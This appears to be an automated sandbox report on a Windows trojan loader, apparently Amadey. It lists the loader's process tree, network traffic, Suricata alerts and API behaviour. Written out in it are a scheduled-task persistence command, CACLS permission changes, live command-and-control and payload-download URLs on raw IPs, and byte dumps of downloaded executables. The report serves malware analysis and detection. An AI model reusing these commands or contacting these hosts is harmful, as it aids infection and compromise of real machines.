Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 27, 2023, 10:18 a.m.	March 27, 2023, 10:20 a.m.

Size	13.3MB
Type	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
MD5	`ba6a75f0c69a7f22b526ad940c3451b4`
SHA256	`f9065a3e8905c4433fb9df4dbff6a8c6645cfb12291dcdc1a3e7148f46e2762e`
CRC32	`C6656742`
ssdeep	`393216:Ow1YoG53jQu7j/ZFztE4Fg1EFoK2Er/QG7fal7a:OsYtTjC4Fg1s2Erlf`
Yara	UPX_Zero - UPX packed file Malicious_Library_Zero - Malicious_Library Generic_Malware_Zero - Generic Malware Win32_Trojan_Gen_2_0904B0_Zero - Win32 Trojan Gen OS_Processor_Check_Zero - OS Processor Check IsPE32 - (no description) PE_Header_Zero - PE File Signature

update-pyt.exe "C:\Users\test22\AppData\Local\Temp\update-pyt.exe"
1820
- oneetx.exe "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe"
  2056
  - schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F
    2172
  - cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\fd369298e4" /P "test22:N"&&CACLS "..\fd369298e4" /P "test22:R" /E&&Exit
    2224
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2304
    - cacls.exe CACLS "oneetx.exe" /P "test22:N"
      2340
    - cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
      2396
    - cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
      2444
    - cacls.exe CACLS "..\fd369298e4" /P "test22:N"
      2480
    - cacls.exe CACLS "..\fd369298e4" /P "test22:R" /E
      2536
  - RedHat.exe "C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe"
    3060
  - Lamb.exe "C:\Users\test22\AppData\Local\Temp\1000092001\Lamb.exe"
    2356

Name	Response	Post-Analysis Lookup
clients2.googleusercontent.com	CNAME googlehosted.l.googleusercontent.com A 142.250.204.65	172.217.25.161
accounts.google.com	A 142.251.220.45	142.250.207.109
fonts.gstatic.com	A 142.250.204.67	142.250.76.131
apis.google.com	A 142.250.204.142 CNAME plus.l.google.com	172.217.25.174
www.google.com	A 172.217.24.68	172.217.25.164
_googlecast._tcp.local
apps.identrust.com	A 121.254.136.27 CNAME a1952.dscq.akamai.net CNAME identrust.edgesuite.net A 121.254.136.57	23.43.165.66
fonts.googleapis.com	A 142.250.66.138	142.250.206.202
cdn.stubdownloader.services.mozilla.com	A 34.120.48.173 CNAME cdn-proxy-prod.stubattribution.prod.cloudops.mozgcp.net	34.120.48.173
clientservices.googleapis.com	A 142.251.220.3	142.250.207.99
www.gstatic.com	A 172.217.27.35	142.250.206.227

IP Address	Status	Action
121.254.136.27	Active	Moloch
142.250.204.142	Active	Moloch
142.250.204.65	Active	Moloch
142.250.204.67	Active	Moloch
142.250.66.138	Active	Moloch
142.251.220.3	Active	Moloch
142.251.220.45	Active	Moloch
164.124.101.2	Active	Moloch
172.217.24.68	Active	Moloch
172.217.27.35	Active	Moloch
34.120.48.173	Active	Moloch
78.46.242.112	Active	Moloch
79.137.248.23	Active	Moloch
91.107.196.27	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49171 -> 78.46.242.112:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 79.137.248.23:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 79.137.248.23:80 -> 192.168.56.103:49173	2014819	ET INFO Packed Executable Download	Misc activity
TCP 79.137.248.23:80 -> 192.168.56.103:49173	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 79.137.248.23:80 -> 192.168.56.103:49173	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 79.137.248.23:80 -> 192.168.56.103:49173	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 192.168.56.103:49179 -> 79.137.248.23:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 79.137.248.23:80 -> 192.168.56.103:49179	2014819	ET INFO Packed Executable Download	Misc activity
TCP 79.137.248.23:80 -> 192.168.56.103:49179	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 79.137.248.23:80 -> 192.168.56.103:49179	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 79.137.248.23:80 -> 192.168.56.103:49179	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLS 1.3 192.168.56.103:49185 172.217.24.68:443	None	None	None
TLS 1.3 192.168.56.103:49184 172.217.24.68:443	None	None	None
TLS 1.3 192.168.56.103:49187 142.251.220.3:443	None	None	None
TLS 1.3 192.168.56.103:49182 142.251.220.3:443	None	None	None
TLS 1.3 192.168.56.103:49188 142.251.220.45:443	None	None	None
TLS 1.3 192.168.56.103:49186 172.217.24.68:443	None	None	None
TLS 1.3 192.168.56.103:49194 172.217.27.35:443	None	None	None
TLS 1.3 192.168.56.103:49199 142.250.204.142:443	None	None	None
TLS 1.3 192.168.56.103:49200 216.58.200.227:443	None	None	None
TLS 1.3 192.168.56.103:49201 142.250.204.65:443	None	None	None
TLS 1.3 192.168.56.103:49202 172.217.24.238:443	None	None	None
TLS 1.3 192.168.56.103:49183 142.251.220.45:443	None	None	None
TLS 1.3 192.168.56.103:49189 172.217.24.68:443	None	None	None
TLS 1.3 192.168.56.103:49193 142.250.66.138:443	None	None	None
TLS 1.3 192.168.56.103:49198 142.250.204.67:443	None	None	None
TLS 1.3 192.168.56.103:49190 34.120.48.173:443	None	None	None
TLS 1.3 192.168.56.103:49195 172.217.27.35:443	None	None	None
UNDETERMINED 192.168.56.103:49196 172.217.27.35:443	None	None	None

Queries for the computername (2 events)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW March 27, 2023, 10:18 a.m.	computer_name: TEST22-PC	1	1	0
GetComputerNameA March 27, 2023, 10:19 a.m.	computer_name: TEST22-PC	1	1	0

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 27, 2023, 10:19 a.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 27, 2023, 10:18 a.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 27, 2023, 10:18 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW March 27, 2023, 10:18 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA March 27, 2023, 10:18 a.m.	buffer: r console_handle: 0x00000007	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 27, 2023, 10:18 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	rdata0
section	rdata1
section	rdata2

HTTP traffic contains suspicious features which may be indicative of malware related traffic (5 events)

suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://78.46.242.112/so57Nst/index.php
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://78.46.242.112/so57Nst/index.php?scr=1
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://79.137.248.23/RedHat.exe
suspicious_features	POST method with no referer header, POST method with no useragent header, Connection to IP address	suspicious_request	POST http://91.107.196.27/75e7ead3c17835de.php
suspicious_features	GET method with no useragent header, Connection to IP address	suspicious_request	GET http://79.137.248.23/Lamb.pif.exe

Performs some HTTP requests (8 events)

request	POST http://78.46.242.112/so57Nst/index.php
request	POST http://78.46.242.112/so57Nst/index.php?scr=1
request	GET http://79.137.248.23/RedHat.exe
request	POST http://91.107.196.27/75e7ead3c17835de.php
request	GET http://79.137.248.23/Lamb.pif.exe
request	GET http://apps.identrust.com/roots/dstrootcax3.p7c
request	GET http://clients2.google.com/time/1/current?cup2key=4:1168666890&cup2hreq=e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
request	GET http://www.gstatic.com/generate_204

Sends data using the HTTP POST Method (3 events)

request	POST http://78.46.242.112/so57Nst/index.php
request	POST http://78.46.242.112/so57Nst/index.php?scr=1
request	POST http://91.107.196.27/75e7ead3c17835de.php

Allocates read-write-execute memory (usually to unpack itself) (13 events)

Time & API	Arguments	Status	Return
NtProtectVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 1820 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 12288 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0124d000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 1820 region_size: 258048 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 1820 region_size: 258048 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x013d0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 2056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 12288 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x013bd000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 2056 region_size: 258048 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory March 27, 2023, 10:18 a.m.	process_identifier: 2056 region_size: 258048 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x011a0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 3060 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x01490000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 3060 region_size: 2260992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 3060 region_size: 2260992 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02c70000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0
NtProtectVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 3060 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 57344 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02c71000 process_handle: 0xffffffff	1	0
NtProtectVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 2356 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 length: 12288 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0154d000 process_handle: 0xffffffff	1	0
NtAllocateVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 2356 region_size: 385024 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff		3221225496
NtAllocateVirtualMemory March 27, 2023, 10:19 a.m.	process_identifier: 2356 region_size: 385024 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x011e0000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1	0

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\1000092001\Lamb.exe
file	C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe

Creates a suspicious process (4 events)

cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F
cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\fd369298e4" /P "test22:N"&&CACLS "..\fd369298e4" /P "test22:R" /E&&Exit
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe

A process created a hidden window (5 events)

Time & API	Arguments	Status	Return
ShellExecuteExW March 27, 2023, 10:18 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe	1	1
ShellExecuteExW March 27, 2023, 10:18 a.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\fd369298e4\oneetx.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW March 27, 2023, 10:18 a.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y\|CACLS "..\fd369298e4" /P "test22:N"&&CACLS "..\fd369298e4" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW March 27, 2023, 10:19 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000091001\RedHat.exe	1	1
ShellExecuteExW March 27, 2023, 10:19 a.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000092001\Lamb.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000092001\Lamb.exe	1	1

An executable file was downloaded by the process oneetx.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
InternetReadFile March 27, 2023, 10:18 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELfdà/æÎ¬§@pÑHü¥ h¿ð`ÑÍðÐh\Jz$.text äæ`P`.dataüê@0À.rdataì×Øì@P@.eh_framçðèÄ@0@.bss¼à`À.idatað¬@0À.CRT@È@0À.tls Ê@0À.rdata0>ÜZ0ÞZÌ `.rdata1Ðzªy@À.rdata28W z8W²y `.rsrcÍ`ÑêÐ@@óÃ´&¼'ì1Àf=@MZÇLå^ÇHå^ÇDå^Çàá^th£à^¡Xå^ÀtJÇ$èV©Ç$ÿÿÿÿè2®hå^£å^£ å^¡@÷^è«=äTtm1ÀÄÃ´&Ç$è©ë´f<@º@PE@u·Qfút?fújÿÿÿ¹]ÿÿÿø1ÀÒÀéKÿÿÿvÇ$ ¾Sè1ÀÄÃyt,ÿÿÿè1ÀÉÀéÿÿÿfì,¡@å^ÇD$à^ÇD$à^ÇD$à^Ç$à^£à^¡ìTD$èV¨Ä,ÃfU1À¹åWVU¤S×ì\|ó«¸0èo¹)ÄD$àðÇÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌäð5Xå^öd¡1öX=Èõ^ë9ÃÇ$èÿ×ìðð±¤å^ÀuÞ¡¨å^1Ûøþ¡¨å^ÀMÇà^¡¨å^øóÛ¡¸åXÀtÇD$ÇD$Ç$ÿÐìèÒÇ$ ÃSÿÄõ^ì£lå^Ç$@èA§èÜ«¡,÷^Çå^@Àt[1ÉëvÒt,át'¹À¶ú ~çËóú"DËëèv¼'Òuëv¼'ú À¶Òuñ£å^Xå^ÛtöEÐ¸ fEEÔ·À£T¡à^EÆE$è¦öE=à^C1Ûþ$è¸¥x<$èå¥MÃ\|$$L$è¹¥9]uÉEèuÇ5à^è©§¡÷^à^¡à^D$¡à^D$¡à^$èí% à^£à^Éµà^Òu è£¥¡à^eô[^_]Ã¡¨å^»øþÿÿÇ$è¥¡¨å^ø þÿÿÇD$_Ç$_èM¥ÛÇ¨å^ïýÿÿ¤å^éäýÿÿ$ÿ(õ^ìéaýÿÿÇ¨å^ÇD$_Ç$_è¥éýÿÿ1Àé÷þÿÿ$èÅ¤¶¼'ìÇXå^èÎ¦Äéüÿÿ¶ìÇXå^è®¦ÄévüÿÿUåì ÈðXà^$D$è²TÄ]Ãf.Uåì ÈðXà^$D$èÒVÄ]ÃffffffUå]éGXfffUåEU]ÃDUåEU]ÃDUåEU]ÃDUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]ÃffffffUåÿU]ÃffffUåEMUHP]ÃfffffUå]éWíUåE]ÃfDUåE]ÃfffUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]Ãf.fUåEU]ÃffUå]éÇÅfffUåMA9t]ÃPè¸ìÄ]ÃfUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]Ãf.fUåEM+QÇ@P]Ã@UåEU]ÃffUåVPEMUUøUuøRQPhTVè{ Ä^]ÃDUåì(Eÿ0èpþÿÿÄÀtlEøUüEøEðÇEôà:@ÇEà TÇEäÇEØEðEèÇEìEØPèÛDÄEüÿuøÿÄEüHÉtÿpQÿuøè7#Ä¸ë1ÀÄ(]ÃfDUåì(Eÿ0èàýÿÿÄÀtlEøUüEøEðÇEôà:@ÇEà TÇEäÇEØEðEèÇEìEØPèKDÄEüÿuøÿÄEüHÉtÿpQÿuøè§"Ä¸ë1ÀÄ(]ÃfDUå]ÃfffffUåì(EÀtoMEøMüEøEðÇEôà:@ÇEà TÇEäÇEØEðEèÇEìEØPè²CÄEüÿuøÿÄEüHÉtÿpQÿuøè"Ä¸ë1ÀÄ(]ÃffffffUåSWVìExpVÿuèe)ÄEìUðEìPèó9Ä]ØPjSèåÄEäÿuðÿuìÿuàÿuÜVWÿuPèw)Ä }äEèt+Mäùt#uFNÇSèníÄSè%½Äë#PSèåÄEàuFòEØòFÇ}Wè4íÄWèë¼ÄðÄ^_[]ÃfffffffUåWVu>u4~Gÿ7ÿÄGHÉtÿpQÿ7èá ÄjjÿvèÒ Ä^_]Ãf.UåVuÆVè°ìÄVèg¼Ä^]ÃUåSWVìUØMäÇEèÇEìÇEð1À}ÀEà¾®ùad1Àë¸BI1Æþùad}þ®ùadtåþé~\|¾¸ zÚ}¯uÜ1ÿuàëEìMðÿEðw;}szø1Ò÷uE¶EØ28÷Eð;EèuÎPEèPèd¹Äë¿f.Dþ$q#-uE}èWè¿ëÄWèv»ÄÇEèÇEìÇEð¸Íâ]Q1Æé9ÿÿÿuÜ¸ zÚ1Æé*ÿÿÿþã¦t1ÆéÿÿÿMðEäHòEèò@ÇÄ^_[]ÃUåSWVäøìD$TPèçË ÄjjèÄÀ1Ç §Ç@§¦/Ç@ request_handle: 0x00cc000c	1	1	0
InternetReadFile March 27, 2023, 10:19 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELzµdà/è&{¬@Ø9Z ©ð°ÖDÊþ×p&ô£À$=MYCLtLDæè`P`8uSxWUy5üì@0ÀUgMTkb-g¬Ò Ô î@P@$hpj638x(çðèÂ@0@b#+@I;)e¼à$`ÀKAf`a_(Xð$ª$@0ÀLS0&wof1@%Æ$@0ÀF>?mUav %È$@0ÀtlhmKye`©Z0%ZÊ$ `cGghvc8ÐÀP@Àt>e:DuJPpÙVÐÚVX `Fm"luw6fDÊ°ÖÌ2Ö@@óÃ´&¼'ì1Àf=@MZÇLådÇHådÇDådÇàádth£àd¡XådÀtJÇ$è¶«Ç$ÿÿÿÿè°håd£åd£ åd¡@÷dèf=äTtm1ÀÄÃ´&Ç$èl«ë´f<@º@PE@u·Qfút?fújÿÿÿ¹]ÿÿÿø1ÀÒÀéKÿÿÿvÇ$ÀSèd¯1ÀÄÃyt,ÿÿÿè1ÀÉÀéÿÿÿfì,¡@ådÇD$àdÇD$àdÇD$àdÇ$àd£àd¡ìTD$è¶ªÄ,ÃfU1À¹åWVU¤S×ì\|ó«¸0èÏ»)ÄD$àðÇÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌÇ@ÌÌÌÌäð5Xådöd¡1öX=Èõdë9ÃÇ$èÿ×ìðð±¤ådÀuÞ¡¨åd1Ûøþ¡¨ådÀMÇàd¡¨ådøóÛ¡xà^ÀtÇD$ÇD$Ç$ÿÐìè2°Ç$ÅSÿÄõdì£lådÇ$@è¡©è<®¡,÷dÇåd@Àt[1ÉëvÒt,át'¹À¶ú ~çËóú"DËëèv¼'Òuëv¼'ú À¶Òuñ£ådXådÛtöEÐ¸ fEEÔ·À£T¡àdEÆE$èp¨öE=àdC1Ûþ$è¨x<$èE¨MÃ\|$$L$è¨9]uÉEèuÇ5àdè ª¡÷dàd¡àdD$¡àdD$¡àd$èM( àd£àdÉµàdÒu è¨¡àdeô[^_]Ã¡¨åd»øþÿÿÇ$èß§¡¨ådø þÿÿÇD$eÇ$eè§ÛÇ¨ådïýÿÿ¤ådéäýÿÿ$ÿ(õdìéaýÿÿÇ¨ådÇD$eÇ$eèa§éýÿÿ1Àé÷þÿÿ$è%§¶¼'E&%3ËèìhLªôÌµd$Ã¶ìÇXådè©ÄévüÿÿUåì Èð^àd$D$èWÄ]Ãf.Uåì Èð^àd$D$è2YÄ]ÃffffffUå]é§ZfffUåEU]ÃDUåEU]ÃDUåEU]ÃDUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]ÃffffffUåÿU]ÃffffUåEMUHP]ÃfffffUå]é·ïUåE]ÃfDUåE]ÃfffUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]Ãf.fUåEU]ÃffUå]é'ÈfffUåMA9t]ÃPèïÄ]ÃfUåSWVUu}O9ÖtD¶^ÿN@9Öuó^_[]Ãf.fUåEM+QÇ@P]Ã@UåEU]ÃffUåVPEMUUøUuøRQPhTVèÛ Ä^]ÃDUåì(Eÿ0èpþÿÿÄÀtlEøUüEøEðÇEô@=@ÇEà TÇEäÇEØEðEèÇEìEØPè;GÄEüÿuøÿÄEüHÉtÿpQÿuøè%Ä¸ë1ÀÄ(]ÃfDUåì(Eÿ0èàýÿÿÄÀtlEøUüEøEðÇEô@=@ÇEà TÇEäÇEØEðEèÇEìEØPè«FÄEüÿuøÿÄEüHÉtÿpQÿuøè%Ä¸ë1ÀÄ(]ÃfDUå]ÃfffffUåì(EÀtoMEøMüEøEðÇEô@=@ÇEà TÇEäÇEØEðEèÇEìEØPèFÄEüÿuøÿÄEüHÉtÿpQÿuøèn$Ä¸ë1ÀÄ(]ÃffffffUåSWVìExpVÿuèÅ+ÄEìUðEìPèS<Ä]ØPjSèôçÄEäÿuðÿuìÿuàÿuÜVWÿuPè×+Ä }äEèt+Mäùt#uFNÇSèÎïÄSè¿Äë#PSèyçÄEàuFòEØòFÇ}WèïÄWèK¿ÄðÄ^_[]ÃfffffffUåWVu>u4~Gÿ7ÿÄGHÉtÿpQÿ7èA#Äjjÿvè2#Ä^_]Ãf.Uå]Ãf.UåVuÆVèïÄVè·¾Ä^]ÃUåSWVìUØMäÇEèÇEìÇEð1À}ÀEà¾`8"A1ÀëþC'ë1ÆþB'QþvÁtiþiìuæ}èWèîÄWè?¾ÄÇEèÇEìÇEð¸\e1Æëµf.@þ`8"Au¸ 